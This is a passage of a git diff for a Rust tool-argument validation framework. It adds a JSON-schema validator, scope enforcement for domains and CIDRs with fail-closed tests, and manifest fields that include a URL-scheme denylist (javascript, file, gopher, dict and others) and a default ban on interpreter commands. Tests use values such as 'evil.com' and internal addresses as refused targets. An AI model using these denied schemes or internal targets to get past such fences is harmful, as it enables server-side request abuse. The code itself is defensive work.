); + } + } + if let Some(Value::String(pat)) = schema.get("pattern") { + match Regex::new(&anchor_pattern(pat)) { + Ok(re) if re.is_match(s) => {} + Ok(_) => return fail(path, format!("string does not match pattern '{pat}'")), + Err(e) => return fail(path, format!("invalid pattern '{pat}': {e}")), + } + } + } + + if let Value::Object(map) = value { + if let Some(Value::Array(required)) = schema.get("required") { + for name in required.iter().filter_map(Value::as_str) { + if !map.contains_key(name) { + return fail(path, format!("missing required property '{name}'")); + } + } + } + let props = schema.get("properties").and_then(Value::as_object); + let closed = schema.get("additionalProperties") == Some(&Value::Bool(false)); + for (key, item) in map { + match props.and_then(|p| p.get(key)) { + Some(sub) => { + path.push(escape(key)); + check(item, sub, path)?; + path.pop(); + } + None if closed => { + path.push(escape(key)); + let r = fail(path, "additional property is not allowed".into()); + path.pop(); + return r; + } + None => {} + } + } + } + + if let (Value::Array(items), Some(sub)) = (value, schema.get("items")) { + if sub.is_object() { + for (i, item) in items.iter().enumerate() { + path.push(i.to_string()); + check(item, sub, path)?; + path.pop(); + } + } + } + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + fn err(schema: Value, value: Value) -> String { + validate(&schema, &value).unwrap_err() + } + + #[test] + fn type_keyword() { + assert!(validate(&json!({"type": "object"}), &json!({})).is_ok()); + assert_eq!( + err(json!({"type": "object"}), json!([1])), + "/: expected object, got array" + ); + assert!(validate(&json!({"type": ["string", "null"]}), &json!(null)).is_ok()); + assert_eq!( + err(json!({"type": ["string", "null"]}), json!(1)), + "/: expected string or null, got integer" + ); + assert!(validate(&json!({"type": "number"}), &json!(1)).is_ok()); + assert!(validate(&json!({"type": "boolean"}), &json!(1)).is_err()); + } + + #[test] + fn integer_accepts_whole_float() { + assert!(validate(&json!({"type": "integer"}), &json!(30.0)).is_ok()); + assert_eq!( + err(json!({"type": "integer"}), json!(30.5)), + "/: expected integer, got number" + ); + } + + #[test] + fn properties_required_and_pointer_path() { + let schema = json!({ + "type": "object", + "required": ["hosts"], + "properties": { + "hosts": {"type": "array", "items": { + "type": "object", + "properties": {"port": {"type": "integer"}} + }} + } + }); + assert_eq!( + err( + schema.clone(), + json!({"hosts": [{"port": 1}, {"port": "x"}]}) + ), + "/hosts/1/port: expected integer, got string" + ); + assert_eq!( + err(schema, json!({})), + "/: missing required property 'hosts'" + ); + assert_eq!( + err( + json!({"properties": {"a/b": {"type": "string"}}}), + json!({"a/b": 1}) + ), + "/a~1b: expected string, got integer" + ); + } + + #[test] + fn additional_properties_false() { + let schema = json!({"properties": {"a": {}}, "additionalProperties": false}); + assert!(validate(&schema, &json!({"a": 1})).is_ok()); + assert_eq!( + err(schema, json!({"a": 1, "b": 2})), + "/b: additional property is not allowed" + ); + // Without the keyword, extra keys are fine. + assert!(validate(&json!({"properties": {"a": {}}}), &json!({"b": 1})).is_ok()); + } + + #[test] + fn nested_items() { + let schema = json!({"items": {"items": {"type": "string"}}}); + assert!(validate(&schema, &json!([["a"], ["b", "c"]])).is_ok()); + assert_eq!( + err(schema, json!([["a"], ["b", 3]])), + "/1/1: expected string, got integer" + ); + } + + #[test] + fn enum_keyword() { + let schema = json!({"enum": ["open", 1, {"a": [true]}]}); + assert!(validate(&schema, &json!("open")).is_ok()); + assert!(validate(&schema, &json!(1.0)).is_ok()); + assert!(validate(&schema, &json!({"a": [true]})).is_ok()); + assert!(validate(&schema, &json!(true)).is_err()); + assert!(validate(&schema, &json!("closed")).is_err()); + } + + #[test] + fn numeric_bounds_inclusive() { + let schema = json!({"minimum": 1, "maximum": 10}); + assert!(validate(&schema, &json!(1)).is_ok()); + assert!(validate(&schema, &json!(10)).is_ok()); + assert_eq!( + err(schema.clone(), json!(0)), + "/: 0 is less than the minimum 1" + ); + assert_eq!( + err(schema, json!(10.5)), + "/: 10.5 is greater than the maximum 10" + ); + } + + #[test] + fn string_lengths_count_code_points() { + let schema = json!({"minLength": 2, "maxLength": 3}); + assert!(validate(&schema, &json!("\u{e9}\u{e9}\u{e9}")).is_ok()); + assert!(validate(&schema, &json!("a")).is_err()); + assert!(validate(&schema, &json!("abcd")).is_err()); + } + + #[test] + fn pattern_is_anchored() { + let schema = json!({"pattern": "[a-z]+"}); + assert!(validate(&schema, &json!("abc")).is_ok()); + assert_eq!( + err(schema.clone(), json!("abc1")), + "/: string does not match pattern '[a-z]+'" + ); + assert!(validate(&schema, &json!("1abc")).is_err()); + // Alternation stays inside the anchors. + assert!(validate(&json!({"pattern": "a|b"}), &json!("ab")).is_err()); + } + + #[test] + fn unknown_keywords_ignored_and_first_failure_reported() { + assert!(validate(&json!({"format": "email", "x-foo": 1}), &json!("nope")).is_ok()); + let schema = json!({"properties": {"a": {"type": "string"}, "b": {"type": "string"}}}); + assert_eq!( + err(schema, json!({"a": 1, "b": 2})), + "/a: expected string, got integer" + ); + } +} diff --git a/rust/src/scope.rs b/rust/src/scope.rs new file mode 100644 index 0000000..b192fba --- /dev/null +++ b/rust/src/scope.rs @@ -0,0 +1,703 @@ +//! Scope enforcement: the project allowlist an argument with +//! `scope_check = true` is checked against. +//! +//! The scope file is `scope/scope.toml`: +//! +//! ```toml +//! [scope] +//! allowed_domains = ["example.com", "*.example.com"] +//! allowed_cidrs = ["10.0.1.0/24"] +//! blocked_domains = [] +//! blocked_cidrs = [] +//! ``` +//! +//! Discovery ([`discover_scope`]): the path in `TOOLCLAD_SCOPE_FILE` when set +//! (an unreadable file is an error, not a fallback), else `scope/scope.toml` +//! searched upward from the manifest's directory (or the process cwd for a +//! manifest parsed from a string) to the filesystem root. +//! +//! Matching ([`check_scope`]): blocked rules first, and they always win; a +//! domain rule is exact (`example.com`) or a strict-subdomain wildcard +//! (`*.example.com`, which matches neither the apex nor `evil-example.com`); +//! an IP matches a CIDR rule that contains it, and a CIDR matches only when it +//! is fully contained in an allowed range. No match is a refusal, and a scope +//! with empty allowed lists puts nothing in scope. Enforcement is fail +//! closed: `scope_check = true` with no scope file refuses every value. + +use crate::hostpolicy::{parse_canonical_ip, parse_cidr, v4_overlaps, v6_overlaps, IpNet}; +use crate::types::ToolCladError; +use std::ffi::OsStr; +use std::net::IpAddr; +use std::path::{Path, PathBuf}; + +/// Environment variable naming the scope file explicitly. +pub const SCOPE_FILE_ENV: &str = "TOOLCLAD_SCOPE_FILE"; + +/// Argument types on which `scope_check = true` is honored. +pub const SCOPE_CHECK_TYPES: &[&str] = &["scope_target", "url", "ip_address", "cidr"]; + +/// Keys the `[scope]` table accepts. +const SCOPE_KEYS: &[&str] = &[ + "allowed_domains", + "allowed_cidrs", + "blocked_domains", + "blocked_cidrs", +]; + +/// A loaded scope definition. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct ScopeDef { + /// Domain rules (`example.com` or `*.example.com`), lowercase. + pub allowed_domains: Vec, + pub allowed_cidrs: Vec, + pub blocked_domains: Vec, + pub blocked_cidrs: Vec, + /// The file this scope was read from, when it came from a file. + pub source: Option, +} + +fn scope_err(msg: String) -> ToolCladError { + ToolCladError::ManifestError(msg) +} + +/// Check a domain rule's syntax: `[a-z0-9.-]` labels, no empty label, and an +/// optional leading `*.` (a `*` anywhere else is refused). +fn check_domain_rule(rule: &str) -> Result<(), String> { + let body = rule.strip_prefix("*.").unwrap_or(rule); + let well_formed = !body.is_empty() + && body + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'.' || b == b'-') + && body.split('.').all(|label| !label.is_empty()); + if well_formed { + Ok(()) + } else { + Err(format!( + "invalid domain rule '{rule}' (expected lowercase [a-z0-9.-] labels with an optional leading '*.')" + )) + } +} + +/// Parse a scope file's contents. Unknown keys, a malformed CIDR and a +/// malformed domain rule are each load errors. +pub fn parse_scope(content: &str) -> Result { + let doc: toml::Table = toml::from_str(content) + .map_err(|e| scope_err(format!("TOML parse error in scope file: {e}")))?; + + let mut unknown: Vec = doc + .keys() + .filter(|k| k.as_str() != "scope") + .cloned() + .collect(); + let empty = toml::Table::new(); + let table = match doc.get("scope") { + None => &empty, + Some(toml::Value::Table(t)) => t, + Some(_) => return Err(scope_err("scope file: 'scope' must be a table".into())), + }; + unknown.extend( + table + .keys() + .filter(|k| !SCOPE_KEYS.contains(&k.as_str())) + .map(|k| format!("scope.{k}")), + ); + if !unknown.is_empty() { + unknown.sort(); + return Err(scope_err( + unknown + .iter() + .map(|k| format!("unknown key '{k}' in scope file")) + .collect::>() + .join("; "), + )); + } + + let strings = |key: &str| -> Result, ToolCladError> { + match table.get(key) { + None => Ok(Vec::new()), + Some(toml::Value::Array(items)) => items + .iter() + .map(|v| { + v.as_str().map(str::to_string).ok_or_else(|| { + scope_err(format!("scope file: '{key}' must be an array of strings")) + }) + }) + .collect(), + Some(_) => Err(scope_err(format!( + "scope file: '{key}' must be an array of strings" + ))), + } + }; + let domains = |key: &str| -> Result, ToolCladError> { + let rules = strings(key)?; + for rule in &rules { + check_domain_rule(rule).map_err(|m| scope_err(format!("scope file: {key}: {m}")))?; + } + Ok(rules) + }; + let cidrs = |key: &str| -> Result, ToolCladError> { + strings(key)? + .iter() + .map(|c| { + parse_cidr(c) + .ok_or_else(|| scope_err(format!("scope file: {key}: invalid CIDR '{c}'"))) + }) + .collect() + }; + + Ok(ScopeDef { + allowed_domains: domains("allowed_domains")?, + allowed_cidrs: cidrs("allowed_cidrs")?, + blocked_domains: domains("blocked_domains")?, + blocked_cidrs: cidrs("blocked_cidrs")?, + source: None, + }) +} + +/// Read and parse a scope file. +pub fn load_scope_file>(path: P) -> Result { + let path = path.as_ref(); + let content = std::fs::read_to_string(path).map_err(|e| { + scope_err(format!( + "failed to read scope file '{}': {e}", + path.display() + )) + })?; + let mut scope = parse_scope(&content) + .map_err(|e| scope_err(format!("{} ({})", strip_kind(&e), path.display())))?; + scope.source = Some(path.to_path_buf()); + Ok(scope) +} + +fn strip_kind(e: &ToolCladError) -> String { + match e { + ToolCladError::ManifestError(m) => m.clone(), + other => other.to_string(), + } +} + +/// Locate and load the scope file for a manifest in `manifest_dir` (`None` +/// for a manifest parsed from a string: the search starts at the cwd). +/// +/// Returns `Ok(None)` when no scope file exists anywhere; the validator then +/// fails closed on every `scope_check` argument. A `TOOLCLAD_SCOPE_FILE` that +/// cannot be read, or a scope file that does not parse, is an error. +pub fn discover_scope(manifest_dir: Option<&Path>) -> Result, ToolCladError> { + let env = std::env::var_os(SCOPE_FILE_ENV); + discover_scope_with(env.as_deref(), manifest_dir) +} + +/// [`discover_scope`] with the `TOOLCLAD_SCOPE_FILE` value passed explicitly +/// (an empty value counts as unset). +pub fn discover_scope_with( + env_file: Option<&OsStr>, + manifest_dir: Option<&Path>, +) -> Result, ToolCladError> { + if let Some(file) = env_file.filter(|f| !f.is_empty()) { + return load_scope_file(Path::new(file)).map(Some); + } + let cwd = std::env::current_dir() + .map_err(|e| scope_err(format!("cannot determine current directory: {e}")))?; + let start = match manifest_dir { + Some(dir) if dir.is_absolute() => dir.to_path_buf(), + Some(dir) => cwd.join(dir), + None => cwd, + }; + for dir in start.ancestors() { + let candidate = dir.join("scope").join("scope.toml"); + if candidate.is_file() { + return load_scope_file(&candidate).map(Some); + } + } + Ok(None) +} + +/// True if `host` matches the domain rule `pattern`, case-insensitively. +/// `example.com` matches only that host; `*.example.com` matches any strict +/// subdomain at any depth, on a label boundary — never the apex and never +/// `evil-example.com`. +pub fn host_matches_rule(host: &str, pattern: &str) -> bool { + let host = host.to_ascii_lowercase(); + let pattern = pattern.to_ascii_lowercase(); + match pattern.strip_prefix("*.") { + Some(suffix) => { + host.len() > suffix.len() + 1 + && host.ends_with(suffix) + && host.as_bytes()[host.len() - suffix.len() - 1] == b'.' + } + None => host == pattern, + } +} + +/// True if `ip` lies inside `net` (same address family only). +pub fn ip_in_net(ip: &IpAddr, net: &IpNet) -> bool { + match (ip, net.addr) { + (IpAddr::V4(a), IpAddr::V4(b)) => v4_overlaps(*a, 32, b, net.prefix), + (IpAddr::V6(a), IpAddr::V6(b)) => v6_overlaps(*a, 128, b, net.prefix), + _ => false, + } +} + +/// String form of [`ip_in_net`]: false when either side does not parse. +pub fn ip_in_cidr(ip: &str, cidr: &str) -> bool { + match (parse_canonical_ip(ip), parse_cidr(cidr)) { + (Some(ip), Some(net)) => ip_in_net(&ip, &net), + _ => false, + } +} + +/// True if `inner` is fully contained in `outer`. +pub fn net_contains(outer: &IpNet, inner: &IpNet) -> bool { + if inner.prefix < outer.prefix { + return false; + } + match (inner.addr, outer.addr) { + (IpAddr::V4(a), IpAddr::V4(b)) => v4_overlaps(a, inner.prefix, b, outer.prefix), + (IpAddr::V6(a), IpAddr::V6(b)) => v6_overlaps(a, inner.prefix, b, outer.prefix), + _ => false, + } +} + +/// True if the two prefixes share any address (same family only). +fn nets_overlap(a: &IpNet, b: &IpNet) -> bool { + match (a.addr, b.addr) { + (IpAddr::V4(x), IpAddr::V4(y)) => v4_overlaps(x, a.prefix, y, b.prefix), + (IpAddr::V6(x), IpAddr::V6(y)) => v6_overlaps(x, a.prefix, y, b.prefix), + _ => false, + } +} + +/// The shape of a checked subject. +enum Subject { + Ip(IpAddr), + Net(IpNet), + Host(String), +} + +fn classify(subject: &str) -> Subject { + if let Some(ip) = parse_canonical_ip(subject) { + Subject::Ip(ip) + } else if let Some(net) = parse_cidr(subject) { + Subject::Net(net) + } else { + Subject::Host(subject.to_ascii_lowercase()) + } +} + +/// True if `subject` (a host, IP literal or CIDR) is in scope: it matches no +/// blocked rule and at least one allowed rule. A CIDR subject is blocked when +/// it overlaps a blocked range and allowed only when fully contained in an +/// allowed range. +pub fn in_scope(scope: &ScopeDef, subject: &str) -> bool { + match classify(subject) { + Subject::Host(host) => { + !scope + .blocked_domains + .iter() + .any(|r| host_matches_rule(&host, r)) + && scope + .allowed_domains + .iter() + .any(|r| host_matches_rule(&host, r)) + } + Subject::Ip(ip) => { + !scope.blocked_cidrs.iter().any(|n| ip_in_net(&ip, n)) + && scope.allowed_cidrs.iter().any(|n| ip_in_net(&ip, n)) + } + Subject::Net(net) => { + !scope.blocked_cidrs.iter().any(|n| nets_overlap(&net, n)) + && scope.allowed_cidrs.iter().any(|n| net_contains(n, &net)) + } + } +} + +/// The scope check for argument `name`: refuses when no scope is loaded +/// (fail closed) and when `subject` is not in scope. +pub fn check_scope( + name: &str, + scope: Option<&ScopeDef>, + subject: &str, + value: &str, +) -> Result<(), ToolCladError> { + let Some(scope) = scope else { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' scope_check is enabled but no scope/scope.toml was found (set {SCOPE_FILE_ENV})" + ))); + }; + if in_scope(scope, subject) { + Ok(()) + } else { + Err(ToolCladError::ValidationError(format!( + "argument '{name}' target '{value}' is not in scope" + ))) + } +} + +/// True if `url` passes a `url` argument with `scope_check = true` against a +/// scope whose `allowed_domains` is `allowed_hosts` (no CIDR rules, no +/// blocked rules). Exposed for the shared vector suite and for embedders. +pub fn url_host_in_scope(url: &str, allowed_hosts: &[&str]) -> bool { + let scope = ScopeDef { + allowed_domains: allowed_hosts + .iter() + .map(|h| h.to_ascii_lowercase()) + .collect(), + ..Default::default() + }; + let def = crate::types::ArgDef { + type_name: "url".to_string(), + scope_check: true, + ..Default::default() + }; + crate::validator::validate_arg_in("url", &def, url, false, Some(&scope)).is_ok() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::types::ArgDef; + use crate::validator::{validate_arg, validate_arg_in}; + + fn scope(toml_text: &str) -> ScopeDef { + parse_scope(toml_text).unwrap() + } + + fn arg(type_name: &str) -> ArgDef { + ArgDef { + type_name: type_name.to_string(), + scope_check: true, + ..Default::default() + } + } + + fn temp_dir(tag: &str) -> PathBuf { + let dir = std::env::temp_dir().join(format!( + "toolclad-scope-{tag}-{}", + uuid::Uuid::new_v4().simple() + )); + std::fs::create_dir_all(&dir).unwrap(); + dir + } + + // ---- tests/scope_vectors.json ------------------------------------- + + #[test] + fn shared_scope_vectors() { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("../tests/scope_vectors.json"); + let Ok(text) = std::fs::read_to_string(&path) else { + eprintln!( + "skipping shared scope vectors: {} not found", + path.display() + ); + return; + }; + let doc: serde_json::Value = serde_json::from_str(&text).unwrap(); + let v = &doc["vectors"]; + let s = |x: &serde_json::Value| x.as_str().unwrap().to_string(); + let b = |x: &serde_json::Value| x.as_bool().unwrap(); + let mut count = 0; + + for section in ["ipv4_in_cidr", "ipv6_in_cidr"] { + for case in v[section].as_array().unwrap() { + let (ip, cidr) = (s(&case["ip"]), s(&case["cidr"])); + assert_eq!( + ip_in_cidr(&ip, &cidr), + b(&case["expected"]), + "{section}: {ip} in {cidr}" + ); + count += 1; + } + } + for case in v["hostname_wildcard_match"].as_array().unwrap() { + let (host, pat) = (s(&case["hostname"]), s(&case["pattern"])); + assert_eq!( + host_matches_rule(&host, &pat), + b(&case["expected"]), + "hostname_wildcard_match: {host} vs {pat}" + ); + count += 1; + } + let target = ArgDef { + type_name: "scope_target".to_string(), + ..Default::default() + }; + for case in v["scope_target_validation"].as_array().unwrap() { + let value = s(&case["value"]); + assert_eq!( + validate_arg("target", &target, &value).is_ok(), + b(&case["valid"]), + "scope_target_validation: {value:?}" + ); + count += 1; + } + for case in v["url_scope_check"].as_array().unwrap() { + let url = s(&case["url"]); + let hosts: Vec = case["allowed_hosts"] + .as_array() + .unwrap() + .iter() + .map(s) + .collect(); + let hosts: Vec<&str> = hosts.iter().map(String::as_str).collect(); + assert_eq!( + url_host_in_scope(&url, &hosts), + b(&case["expected"]), + "url_scope_check: {url} against {hosts:?}" + ); + count += 1; + } + assert!(count > 0, "scope vector file has no vectors"); + } + + // ---- matching ------------------------------------------------------ + + #[test] + fn blocked_beats_allowed() { + let sc = scope( + r#"[scope] +allowed_domains = ["*.example.com"] +blocked_domains = ["admin.example.com"] +allowed_cidrs = ["10.0.1.0/24"] +blocked_cidrs = ["10.0.1.128/25"] +"#, + ); + assert!(in_scope(&sc, "app.example.com")); + assert!(!in_scope(&sc, "admin.example.com")); + assert!(!in_scope(&sc, "ADMIN.example.com")); + assert!(in_scope(&sc, "10.0.1.5")); + assert!(!in_scope(&sc, "10.0.1.200")); + assert!(in_scope(&sc, "10.0.1.0/26")); + // Contained in the allowed range but overlapping the blocked half. + assert!(!in_scope(&sc, "10.0.1.0/24")); + } + + #[test] + fn wildcard_does_not_match_apex_or_suffix() { + let sc = scope("[scope]\nallowed_domains = [\"*.example.com\"]\n"); + assert!(in_scope(&sc, "a.example.com")); + assert!(in_scope(&sc, "deep.sub.example.com")); + assert!(!in_scope(&sc, "example.com")); + assert!(!in_scope(&sc, "evil-example.com")); + assert!(!in_scope(&sc, "example.com.evil.com")); + } + + #[test] + fn cidr_subject_requires_full_containment() { + let sc = scope("[scope]\nallowed_cidrs = [\"10.0.1.0/24\", \"2001:db8::/32\"]\n"); + assert!(in_scope(&sc, "10.0.1.0/25")); + assert!(in_scope(&sc, "10.0.1.0/24")); + assert!(!in_scope(&sc, "10.0.0.0/8")); + assert!(!in_scope(&sc, "10.0.2.0/25")); + assert!(in_scope(&sc, "2001:db8:1::/48")); + assert!(!in_scope(&sc, "2001:db8::/16")); + // Hostnames never match a CIDR rule (no DNS lookup is made). + assert!(!in_scope(&sc, "example.com")); + } + + #[test] + fn empty_scope_puts_nothing_in_scope() { + let sc = scope("[scope]\nallowed_domains = []\nallowed_cidrs = []\n"); + assert!(!in_scope(&sc, "example.com")); + assert!(!in_scope(&sc, "10.0.1.1")); + let sc = scope(""); + assert!(!in_scope(&sc, "example.com")); + } + + // ---- validator wiring --------------------------------------------- + + #[test] + fn validator_enforces_scope_on_all_supported_types() { + let sc = scope( + "[scope]\nallowed_domains = [\"example.com\"]\nallowed_cidrs = [\"10.0.1.0/24\"]\n", + ); + let ok = |t: &str, v: &str| validate_arg_in("t", &arg(t), v, false, Some(&sc)); + assert!(ok("scope_target", "example.com").is_ok()); + assert!(ok("scope_target", "10.0.1.7").is_ok()); + assert!(ok("scope_target", "10.0.1.0/28").is_ok()); + assert!(ok("url", "https://example.com/x").is_ok()); + assert!(ok("url", "https://EXAMPLE.com:8443/x").is_ok()); + assert!(ok("ip_address", "10.0.1.9").is_ok()); + assert!(ok("cidr", "10.0.1.0/25").is_ok()); + + let err = ok("scope_target", "other.com").unwrap_err().to_string(); + assert!( + err.contains("argument 't' target 'other.com' is not in scope"), + "{err}" + ); + assert!(ok("url", "https://evil.com/").is_err()); + assert!(ok("ip_address", "10.0.2.9").is_err()); + assert!(ok("cidr", "10.0.0.0/8").is_err()); + } + + #[test] + fn validator_fails_closed_without_scope() { + for t in SCOPE_CHECK_TYPES { + let v = match *t { + "url" => "https://example.com/", + "cidr" => "10.0.1.0/24", + "ip_address" => "10.0.1.1", + _ => "example.com", + }; + let err = validate_arg_in("t", &arg(t), v, false, None) + .unwrap_err() + .to_string(); + assert!( + err.contains( + "argument 't' scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)" + ), + "{t}: {err}" + ); + } + // Without scope_check the scope is never consulted. + let plain = ArgDef { + type_name: "scope_target".to_string(), + ..Default::default() + }; + assert!(validate_arg_in("t", &plain, "example.com", false, None).is_ok()); + } + + #[test] + fn in_scope_but_internal_is_still_refused() { + let sc = scope("[scope]\nallowed_cidrs = [\"10.0.0.0/8\", \"127.0.0.0/8\"]\n"); + let mut def = arg("scope_target"); + def.block_internal = true; + let err = validate_arg_in("t", &def, "10.0.1.1", false, Some(&sc)) + .unwrap_err() + .to_string(); + assert!(!err.contains("not in scope"), "{err}"); + let mut def = arg("url"); + def.block_internal = true; + assert!(validate_arg_in("t", &def, "http://127.0.0.1/", false, Some(&sc)).is_err()); + // And the reverse: public and not in scope reports the scope refusal. + let mut def = arg("ip_address"); + def.block_internal = true; + let err = validate_arg_in("t", &def, "8.8.8.8", false, Some(&sc)) + .unwrap_err() + .to_string(); + assert!(err.contains("not in scope"), "{err}"); + } + + // ---- scope file loading ------------------------------------------- + + #[test] + fn scope_file_load_errors() { + for (text, needle) in [ + ( + "[scope]\nallowed_domain = []\n", + "unknown key 'scope.allowed_domain'", + ), + ("extra = 1\n[scope]\n", "unknown key 'extra'"), + ( + "[scope]\nallowed_cidrs = [\"10.0.1.0/33\"]\n", + "invalid CIDR", + ), + ("[scope]\nblocked_cidrs = [\"10.0.1/24\"]\n", "invalid CIDR"), + ( + "[scope]\nallowed_domains = [\"a.*.example.com\"]\n", + "invalid domain rule", + ), + ( + "[scope]\nallowed_domains = [\"*example.com\"]\n", + "invalid domain rule", + ), + ( + "[scope]\nallowed_domains = [\"*\"]\n", + "invalid domain rule", + ), + ( + "[scope]\nallowed_domains = [\"exa mple.com\"]\n", + "invalid domain rule", + ), + ( + "[scope]\nallowed_domains = [\"Example.com\"]\n", + "invalid domain rule", + ), + ( + "[scope]\nallowed_domains = \"example.com\"\n", + "array of strings", + ), + ] { + let err = parse_scope(text).unwrap_err().to_string(); + assert!(err.contains(needle), "{text:?}: {err}"); + } + } + + #[test] + fn repository_scope_file_parses() { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("../scope/scope.toml"); + if path.is_file() { + let sc = load_scope_file(&path).unwrap(); + assert!(sc.allowed_domains.contains(&"example.com".to_string())); + } + } + + #[test] + fn env_file_wins_over_upward_walk() { + let root = temp_dir("env"); + std::fs::create_dir_all(root.join("scope")).unwrap(); + std::fs::write( + root.join("scope/scope.toml"), + "[scope]\nallowed_domains = [\"walk.example.com\"]\n", + ) + .unwrap(); + let explicit = root.join("explicit.toml"); + std::fs::write( + &explicit, + "[scope]\nallowed_domains = [\"env.example.com\"]\n", + ) + .unwrap(); + + let sc = discover_scope_with(Some(explicit.as_os_str()), Some(&root)) + .unwrap() + .unwrap(); + assert_eq!(sc.allowed_domains, vec!["env.example.com"]); + assert_eq!(sc.source.as_deref(), Some(explicit.as_path())); + std::fs::remove_dir_all(&root).ok(); + } + + #[test] + fn upward_walk_finds_parent_scope() { + let root = temp_dir("walk"); + let deep = root.join("tools/net/nested"); + std::fs::create_dir_all(&deep).unwrap(); + std::fs::create_dir_all(root.join("scope")).unwrap(); + std::fs::write( + root.join("scope/scope.toml"), + "[scope]\nallowed_domains = [\"walk.example.com\"]\n", + ) + .unwrap(); + let sc = discover_scope_with(None, Some(&deep)).unwrap().unwrap(); + assert_eq!(sc.allowed_domains, vec!["walk.example.com"]); + // An empty env value counts as unset. + let sc = discover_scope_with(Some(OsStr::new("")), Some(&deep)) + .unwrap() + .unwrap(); + assert_eq!(sc.allowed_domains, vec!["walk.example.com"]); + std::fs::remove_dir_all(&root).ok(); + } + + #[test] + fn unreadable_env_file_is_an_error() { + let root = temp_dir("missing"); + let missing = root.join("does-not-exist.toml"); + let err = discover_scope_with(Some(missing.as_os_str()), Some(&root)) + .unwrap_err() + .to_string(); + assert!(err.contains("failed to read scope file"), "{err}"); + std::fs::remove_dir_all(&root).ok(); + } + + #[test] + fn no_scope_anywhere_is_none() { + // A temp dir normally sits outside any tree with a scope/ directory; + // skip if this machine happens to have one above it. + let root = temp_dir("none"); + let found = root + .ancestors() + .any(|d| d.join("scope").join("scope.toml").is_file()); + if !found { + assert!(discover_scope_with(None, Some(&root)).unwrap().is_none()); + } + std::fs::remove_dir_all(&root).ok(); + } +} diff --git a/rust/src/types.rs b/rust/src/types.rs index 5eb0d19..7474183 100644 --- a/rust/src/types.rs +++ b/rust/src/types.rs @@ -2,7 +2,14 @@ use serde::{Deserialize, Serialize}; use std::collections::HashMap; /// Top-level manifest parsed from a `.clad.toml` file. +/// +/// Every section carries `deny_unknown_fields`: a manifest is a security +/// contract, so a key the runtime does not implement is a load error rather +/// than a control that silently degrades to "off". The loader checks the +/// document against the key allowlist first (so it can name every unknown +/// key); serde is the second layer. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct Manifest { pub tool: ToolMeta, #[serde(default)] @@ -17,10 +24,44 @@ pub struct Manifest { pub mcp: Option, pub session: Option, pub browser: Option, + /// Directory the manifest was loaded from (`None` when parsed from a + /// string). The scope file is discovered upward from here. Set by the + /// loader; not part of the TOML surface. + #[serde(skip)] + pub source_dir: Option, + /// The project scope, loaded once at manifest load when any argument sets + /// `scope_check = true` and a scope file was found. Not part of the TOML + /// surface. + #[serde(skip)] + pub scope: Option, + /// Custom argument types from the project `toolclad.toml`, discovered + /// (or supplied through `LoadOptions::custom_types`) at load and used by + /// every validation path. Not part of the TOML surface. + #[serde(skip)] + pub custom_types: HashMap, +} + +/// Accepted values for `tool.mode`. +pub const MODES: &[&str] = &["oneshot", "session", "browser"]; + +impl Manifest { + /// Effective execution mode. `tool.mode` is advisory: when declared it is + /// returned as-is, otherwise the mode is derived from the backend section + /// present (`[session]` → `"session"`, `[browser]` → `"browser"`, else + /// `"oneshot"`). + pub fn mode(&self) -> &str { + match self.tool.mode.as_deref() { + Some(mode) => mode, + None if self.session.is_some() => "session", + None if self.browser.is_some() => "browser", + None => "oneshot", + } + } } /// Tool metadata section `[tool]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct ToolMeta { pub name: String, pub version: String, @@ -33,13 +74,40 @@ pub struct ToolMeta { #[serde(default)] pub human_approval: bool, /// Dispatch mode. `"exec"` (default) runs an execution backend; `"callback"` - /// declares the manifest as validator-only — no [output] or backend + /// declares the manifest as validator-only — no `[output]` or backend /// required. Useful for in-process embeddings where ToolClad is the typed /// argument fence and dispatch happens elsewhere. #[serde(default = "default_dispatch")] pub dispatch: String, + /// Advisory execution mode: `"oneshot"`, `"session"`, or `"browser"`. + /// Validated at load; see [`Manifest::mode`] for the derived value when + /// absent. + #[serde(default)] + pub mode: Option, + /// Declares that the tool connects to a network destination derived from + /// its arguments, so every network-target argument must default-deny + /// internal addresses. + #[serde(default)] + pub network_egress: bool, + /// Permit an interpreter (`sh`, `python`, `env`, ...) as the command's + /// `argv[0]`. Off by default: an interpreter turns an argument into code. + #[serde(default)] + pub allow_interpreter: bool, pub cedar: Option, pub evidence: Option, + pub limits: Option, +} + +/// Resource limits for the child process `[tool.limits]`. Each limit is +/// applied only when declared. +#[derive(Debug, Clone, Default, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] +pub struct ToolLimits { + pub nproc: Option, + pub nofile: Option, + pub fsize_bytes: Option, + pub address_space_bytes: Option, + pub cpu_seconds: Option, } fn default_dispatch() -> String { @@ -56,6 +124,7 @@ fn default_risk_tier() -> String { /// Cedar policy integration metadata `[tool.cedar]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct CedarMeta { pub resource: String, pub action: String, @@ -63,12 +132,16 @@ pub struct CedarMeta { /// Evidence capture configuration `[tool.evidence]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct EvidenceMeta { pub output_dir: String, #[serde(default)] // defaults to false, matching Python pub capture: bool, #[serde(default = "default_hash")] pub hash: String, + /// Capture a screenshot per interaction (browser mode). + #[serde(default)] + pub screenshots: bool, } fn default_true() -> bool { @@ -84,6 +157,7 @@ fn default_hash() -> String { /// Each argument has a typed validator, optional constraints (min/max, pattern, /// allowed list), and injection sanitization by default. #[derive(Debug, Clone, Default, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct ArgDef { #[serde(default)] pub position: u32, @@ -113,32 +187,64 @@ pub struct ArgDef { pub max_float: Option, #[serde(default)] pub clamp: bool, + /// `url` only: scheme allowlist, compared case-insensitively. Empty means + /// the default `["http", "https"]`. A scheme on the fixed denylist + /// (javascript, data, file, blob, about, gopher, dict, ftp, ldap, jar, + /// netdoc, mailto, ws, wss) is refused even when listed here. #[serde(default)] pub schemes: Vec, + /// `scope_target`, `url`, `ip_address` and 